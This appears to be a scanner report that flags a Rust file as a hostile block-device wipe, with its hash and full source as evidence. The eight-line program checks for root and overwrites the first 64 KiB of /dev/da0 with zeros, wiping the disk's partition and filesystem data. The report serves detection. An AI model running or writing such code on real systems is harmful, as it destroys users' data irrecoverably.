Hostile ^92% Download

41-linux-da0.rs

Destructive block device wipe

Destructive overwrite of a raw block deviceRust OpenOptions opens a block device

SHA-256c2177010db7e17dfa74bc5aeabe19b2c0798bcf683c11dafcfab650b18e7d37f

Evidence

Rust OpenOptions opens a block device lines 1–8

1use std::fs::OpenOptions;
2use std::io::Write;
3use std::os::unix::fs::OpenOptionsExt;
4fn main() {
5    if unsafe { libc::geteuid() } != 0 { return; }
6    let mut f = OpenOptions::new().write(true).custom_flags(libc::O_RDWR).open("/dev/da0").unwrap();
7    let _ = f.write_all(&vec![0u8; 65536]);
8}